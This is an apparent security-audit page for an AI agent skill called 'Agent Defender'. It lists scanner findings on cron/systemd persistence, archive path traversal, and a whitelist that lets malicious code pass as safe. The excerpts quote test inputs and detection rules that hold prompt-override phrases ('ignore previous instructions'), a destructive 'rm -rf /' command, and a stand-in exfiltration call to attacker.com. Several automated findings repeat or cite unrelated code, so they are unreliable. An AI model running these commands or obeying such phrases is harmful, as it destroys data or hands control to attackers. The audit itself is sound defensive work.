Agent Defender

• Outcome: Review
• Latest audit: Sep 16, 2026 · 6:04 AM UTC
• Version: 1.0.0

Overview

This appears to be a defensive security skill, but it includes under-scoped background automation and risky maintenance workflows that users should review before installing.

Review this skill before installing. It is reasonable as a local defensive toolkit, but do not enable its daemon, cron job, or systemd service unless you understand the recurring code execution and rule-mutation behavior. Avoid restoring untrusted backup archives, and do not rely on its scanner as the only security control because the whitelist logic can mark malicious content safe.

A.I.G

Vulnerability Patterns

• System Persistence: Installs backdoors, hooks, services, or scheduled tasks that survive the run
• Insecure Dependencies: Introduces malicious components through unsafe dependency sources
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions

Findings (4)

T06 · System Persistence

Error

• Location: README_SIGMA_YARA.md:274

Finding

Documentation Directs Users to Install Persistent Cron and Systemd Jobs

Content

View full analysis

> logs/integration.log 2>&1 ``` ```ini # /etc/systemd/system/defender-rules.service [Unit] Description=Agent Defender Rules Integration After=network.target [Service] Type=oneshot ExecStart=/usr/bin/python3 /home/cdy/.openclaw/workspace/skills/agent-defender/integrate_sigma_yara.py WorkingDirectory=/home/cdy/.openclaw/workspace/skills/agent-defender StandardOutput=journal StandardError=journal [Install] WantedBy=multi-user.target ``` ```bash sudo systemctl enable defender-rules.service sudo systemctl start defender-rules.service ``` ### Technical Analysis The documentation explicitly instructs users to register the rule integration script as a cron job or systemd service. Both mechanisms cause code to execute beyond the lifetime of the initiating Skill invocation. The systemd option also requires administrator privileges to create and enable a system-level service. The declared functionality in `SKILL.md` consists of on-demand static scanning, runtime protection, DLP checks, and security auditing. Persistent system-level execution is not required to perform those operations and therefore exceeds the minimum privileges necessary for the stated functionality. The scheduled command executes a mutable Python script from the workspace. If that script, its imported modules, its rules, or the workspace itself are subsequently modified, the modified content will execute automatically. The systemd configuration expands the potential impact because it may run under a privileged service account when no restrictive `User=` directive is specified. ## ...[truncated 1396 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: backup_manager.sh:288

Finding

Backup Restoration Permits Archive Path Traversal

Content

View full analysis

Remediation

View remediation

T08 · Insecure Dependencies

Error

• Location: research_daemon.py:171

Finding

Research Daemon Executes Unverified Scripts from a Mutable Adjacent Project

Content

View full analysis

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: scanner_v2.py:189

Finding

Substring-Based Whitelist Can Bypass All Malicious-Code Checks

Content

View full analysis

bool: """Check whether code is whitelisted""" for pattern in self.whitelist_patterns: try: if re.search(pattern, code, re.IGNORECASE | re.MULTILINE): return True except re.error: if pattern in code: return True return False def is_blacklisted(self, code: str) -> Optional[Dict]: """Check whether code is blacklisted""" for item in self.blacklist_patterns: try: if re.search(item["pattern"], code, re.IGNORECASE | re.MULTILINE): return item except re.error: if item["pattern"] in code: return item return None def detect(self, code: str) -> Dict[str, Any]: self.stats["scanned"] += 1 # Step 1: check whitelist if self.is_whitelisted(code): self.stats["safe"] += 1 return { "is_malicious": False, "risk_level": "SAFE", "risk_score": 0, "threats": [], "reason": "Whitelist match" } ``` The whitelist includes broad fragments such as: ```python r"# safe", r"# test", r'def\s+main\s*\(\s*\):', r'if\s+__name__\s*==\s*["\']__main__["\']:', r'return\s+True', r'return\s+False', r'return\s+None', ``` ### Technical Analysis The scanner treats the entire input as safe if any whitelist pattern appears anywhere in it. It returns immediately before blacklist or integrated-rule evaluation. The whitelist patterns are ordinary fragments that an attacker can add without changing malicious behavior. For example, adding `# safe`, a `main()` function, or `return None` to a file causes the complete file to be classified as safe even when it also contains `eval()`, `os.system()`, credential access, ...[truncated 1530 chars]

Remediation

View remediation

SkillSpector

Vulnerability Patterns

• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• System Prompt Leakage: Direct Leakage, Indirect Extraction, Tool-Based Exfiltration
• Tool Misuse: Tool Parameter Abuse, Chaining Abuse, Unsafe Defaults
• MCP Tool Poisoning: Hidden Instructions, Unicode Deception, Parameter Description Injection

Findings (466)

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · INTEGRATION_REPORT.md (reported line 174)May include surrounding context.

md

| 测试名称 | 输入代码 | 预期结果 | 实际结果 | 状态 |
|---------|---------|---------|---------|------|
| Prompt Injection | `ignore all previous instructions` | 检测到威胁 | ✅ 检测到 | PASS |
| Tool Poisoning | `os.system('rm -rf /')` | 检测到威胁 | ✅ 检测到 | PASS |
| Data Exfiltration | `requests.post('http://attacker.com')` | 检测到威胁 | ✅ 检测到 | PASS |
| 安全代码 | `print('Hello')` | 无威胁 | ✅ 无威胁 | PASS |

Missing User Warnings

High

• Category: Not specified by scanner
• Confidence: 95% confidence

Finding

Automatic rule synchronization and end-to-end automated release apply changes directly to protection systems, yet the guide provides no warning about review requirements, rollback, or production impact. In a security product, unreviewed rule propagation can cause outages, false positives, bypasses, or accidental weakening of protections at scale.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 93% confidence

Finding

The troubleshooting command rm -rf integrated_rules/* is a destructive operation presented without safeguards. If copied in the wrong directory context, if paths are altered, or if shell expansion behaves unexpectedly, it can delete unintended files; in an agent-oriented environment, such commands are especially risky because users or automation may execute them verbatim.

Content

Scanner excerpt · QUICK_REFERENCE.md (reported line 129)May include surrounding context.

python3 -c "import yaml; yaml.safe_load(open('rule.yaml'))"

重新生成

rm -rf integrated_rules/* python3 integrate_sigma_yara.py

text

Instruction Override

High

• Category: Prompt Injection
• Confidence: 80% confidence

Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · INTEGRATION_REPORT.md (reported line 125)May include surrounding context.

description: Detects prompt injection attempts detection: selection: - "ignore previous instructions" - "disregard all safety" condition: any

text

Instruction Override

High

• Category: Prompt Injection
• Confidence: 80% confidence

Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · INTEGRATION_REPORT.md (reported line 136)May include surrounding context.

description: Detects prompt injection attempts detection: selection: - "ignore previous instructions" - "disregard all safety" condition: any

text

Instruction Override

High

• Category: Prompt Injection
• Confidence: 80% confidence

Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · README_SIGMA_YARA.md (reported line 74)May include surrounding context.

description: Detects prompt injection attempts detection: selection: - "ignore previous instructions" - "disregard all safety" condition: any

text

Instruction Override

High

• Category: Prompt Injection
• Confidence: 80% confidence

Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · README_SIGMA_YARA.md (reported line 88)May include surrounding context.

description: Detects prompt injection attempts detection: selection: - "ignore previous instructions" - "disregard all safety" condition: any

text

Instruction Override

High

• Category: Prompt Injection
• Confidence: 80% confidence

Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · README_SIGMA_YARA.md (reported line 75)May include surrounding context.

detection: selection: - "ignore previous instructions" - "disregard all safety" condition: any

text

Instruction Override

High

• Category: Prompt Injection
• Confidence: 80% confidence

Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · README_SIGMA_YARA.md (reported line 88)May include surrounding context.

detection: selection: - "ignore previous instructions" - "disregard all safety" condition: any

text

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 99% confidence

Finding

The code chunk does not implement static security scanning, runtime defense, DLP detection/desensitization, or security auditing. Its primary purpose is operational backup management for local project files (rules, integrated_rules, Python scripts, config), including tar.gz archive creation, manifest/index generation, restore workflows, and cleanup of old archives. Those are materially different capabilities from the declared security-defense platform behavior. While backups could support administration of a security tool, this script itself is not a scanner/protection/DLP/audit component, so the description does not accurately represent the actual code behavior.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 91% confidence

Finding

The declared description presents a general-purpose agent security defense platform with static scanning, runtime defense, DLP, and auditing. The supplied code chunk does only one narrower thing: benchmark testing of an existing scanner over local sample corpora. It recursively reads JSON/YAML/code files from hard-coded desktop paths, invokes DefenderScanner.detect on extracted content, tallies detection statistics, and saves a markdown report. That is related to static scanning evaluation, but it does not itself implement runtime protection, DLP masking/detection, or a broader security platform workflow. The primary purpose of this code is scanner benchmarking, so the description materially overstates and misrepresents the behavior of this specific code chunk.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

The declared description promises a security protection platform with concrete security functions such as static skill scanning, runtime defense, DLP detection/masking, and security audit triggers. However, this code chunk only provides operational control over a background Python daemon and related files/logs. Its primary purpose is service management for a 'research' system, not direct execution of the advertised security functions. While the daemon it launches might conceivably implement those features, this specific code chunk does not demonstrate them; instead it exposes undeclared capabilities like daemon control, log monitoring, and sync operations. Therefore the description does not accurately represent what this supplied code chunk actually does.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 95% confidence

Finding

The declared description presents an operational security defense platform with static scanning, runtime protection, DLP detection/desensitization, and auditing triggers. However, the supplied code chunk is specifically an integration script for maintaining the platform's rule assets. Its behavior is limited to file-system operations: reading JSON/Python rule files from a scanner skill, copying/merging them into local directories, backing up old rules, updating documentation, and writing a report. While these tasks support a security platform, they are not the same as actually scanning skills, enforcing runtime protection, performing DLP checks, or running security audits. The code also performs undeclared maintenance capabilities such as backup creation, report generation, and git version lookup. Therefore the description does not accurately represent this code chunk's actual primary purpose.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 91% confidence

Finding

The declared description presents a broad security defense platform with active capabilities: static scan, runtime defense, DLP, and audit workflows. The supplied code chunk instead performs a narrower support function: aggregating Sigma/YARA rules from local directories, transforming them into internal formats, generating metadata/index files, and syncing them into the agent-defender rules directory. While this may support a larger security platform, the code itself does not implement the advertised protection, scanning, DLP, or audit operations. Therefore the description materially overstates and misrepresents this specific code chunk’s actual behavior.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 92% confidence

Finding

The description presents a broader security platform with three major functions: static scanning, runtime protection, and DLP masking/detection, plus security audit triggers. The supplied code only supports pre-execution scanning of code, files, and skill directories using an external scanner, basic block/warn decisions, and audit logging. Audit logging partially supports the 'security audit' theme, and skill scanning matches one declared trigger. However, there is no implementation of runtime protection startup, no DLP detection/desensitization, and no broader platform behavior in this chunk. Therefore the description materially overstates the implemented capabilities of the provided code.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 97% confidence

Finding

The declared description presents a security defense platform focused on user-invoked security functions such as skill scanning, runtime protection, DLP checking, and auditing. However, this code chunk does not itself implement those protection or scanning functions. Instead, it acts as a background R&D orchestration daemon: it periodically reads threat intelligence and samples from another directory, copies rule files into the agent-defender project, runs external test_runner.py and performance_optimizer.py scripts, computes metrics, and saves state/logs. This is a materially different primary purpose from the declared operational security platform behavior, and it introduces undeclared capabilities such as continuous scheduled execution and subprocess-based automation.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 89% confidence

Finding

The code is aligned with one part of the description—runtime protection/monitoring—but the declared purpose describes a broader platform with static scanning, DLP, and security audit functions. This chunk only provides runtime event matching, counter-based thresholding, summary reporting, and a start/status CLI. There is no implementation here for scanning skills, DLP processing, or audit execution. This is therefore a partial but material mismatch between declared description and actual supplied code behavior.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 93% confidence

Finding

The supplied code chunk is specifically a scanner (DefenderScanner) for static analysis of code and text-like files. It detects suspicious patterns via hardcoded blacklist/whitelist regexes and externally loaded rules, scans files/directories, and produces a markdown report. This aligns with the '静态扫描' part of the description, but not with the other major declared functions. There is no runtime monitoring, interception, agent execution guarding, protection startup flow, DLP masking/redaction logic, sensitive data desensitization, or dedicated audit subsystem beyond scan result reporting. Therefore the description materially overstates the implemented capabilities, making it a mismatch.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 96% confidence

Finding

The description presents a security defense platform with operational capabilities: static scanning, runtime protection, DLP masking, and security audit triggers. The supplied code does only a subset of that concept, and even that subset is framed as testing rather than production functionality. It loads detection rules, reads malicious/benign sample JSON files, applies regex/string matching, measures detection performance, and generates a markdown report. There is no runtime interception, blocking, policy enforcement, DLP redaction/desensitization, or active protection logic. The main purpose of this code chunk is validation/benchmarking of detection rules, not providing the declared end-user security platform behavior. Therefore the description materially overstates and mischaracterizes what this code actually does.

Content

No source excerpt is available for this finding.

Direct Prompt Extraction

High

• Category: System Prompt Leakage
• Confidence: 85% confidence

Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · TASK_DECOMPOSITION_PLAN.md (reported line 512)May include surrounding context.

md

class RuleQualityManager:
    def evaluate(self, rule: Rule, test_results: TestResults) -> RuleQuality:
        return RuleQuality(
            rule_id=rule.id,
            detection_rate=test_results.detection_rate,
            false_positive_rate=test_results.false_positive_rate,

Description-Behavior Mismatch

High

• Category: Not specified by scanner
• Confidence: 97% confidence

Finding

The file implements an autonomous research and engineering daemon that continuously analyzes inputs, generates rules, runs tests, optimizes performance, and syncs outputs, which is materially broader than the declared skill purpose of scanning/protection/DLP/audit on trigger. This capability mismatch is dangerous because users and reviewers may trust the skill as a defensive utility while it silently performs persistent autonomous modification and execution behaviors.

Content

No source excerpt is available for this finding.

Privileged Container / Container Escape

High

• Category: Privilege Escalation
• Confidence: 80% confidence

Finding

Potential security issue detected. Manual review is recommended.

Content

Scanner excerpt · rules/container_escape_rules.json (reported line 6)May include surrounding context.

json

"id": "CE01",
    "name": "特权容器检测",
    "patterns": [
      "--privileged",
      "\\bcap_add\\b",
      "\\bsecurity_opt\\b"
    ],

Privileged Container / Container Escape

High

• Category: Privilege Escalation
• Confidence: 80% confidence

Finding

Potential security issue detected. Manual review is recommended.

Content

Scanner excerpt · rules_backup/backup_20260407_195520/container_escape_rules.json (reported line 6)May include surrounding context.

json

"id": "CE01",
    "name": "特权容器检测",
    "patterns": [
      "--privileged",
      "\\bcap_add\\b",
      "\\bsecurity_opt\\b"
    ],

Privileged Container / Container Escape

High

• Category: Privilege Escalation
• Confidence: 80% confidence

Finding

Potential security issue detected. Manual review is recommended.

Content

Scanner excerpt · rules_backup/backup_20260407_195535/container_escape_rules.json (reported line 6)May include surrounding context.

json

"id": "CE01",
    "name": "特权容器检测",
    "patterns": [
      "--privileged",
      "\\bcap_add\\b",
      "\\bsecurity_opt\\b"
    ],

Privileged Container / Container Escape

High

• Category: Privilege Escalation
• Confidence: 80% confidence

Finding

Potential security issue detected. Manual review is recommended.

Content

Scanner excerpt · rules_backup/backup_20260407_195616/container_escape_rules.json (reported line 6)May include surrounding context.

json

"id": "CE01",
    "name": "特权容器检测",
    "patterns": [
      "--privileged",
      "\\bcap_add\\b",
      "\\bsecurity_opt\\b"
    ],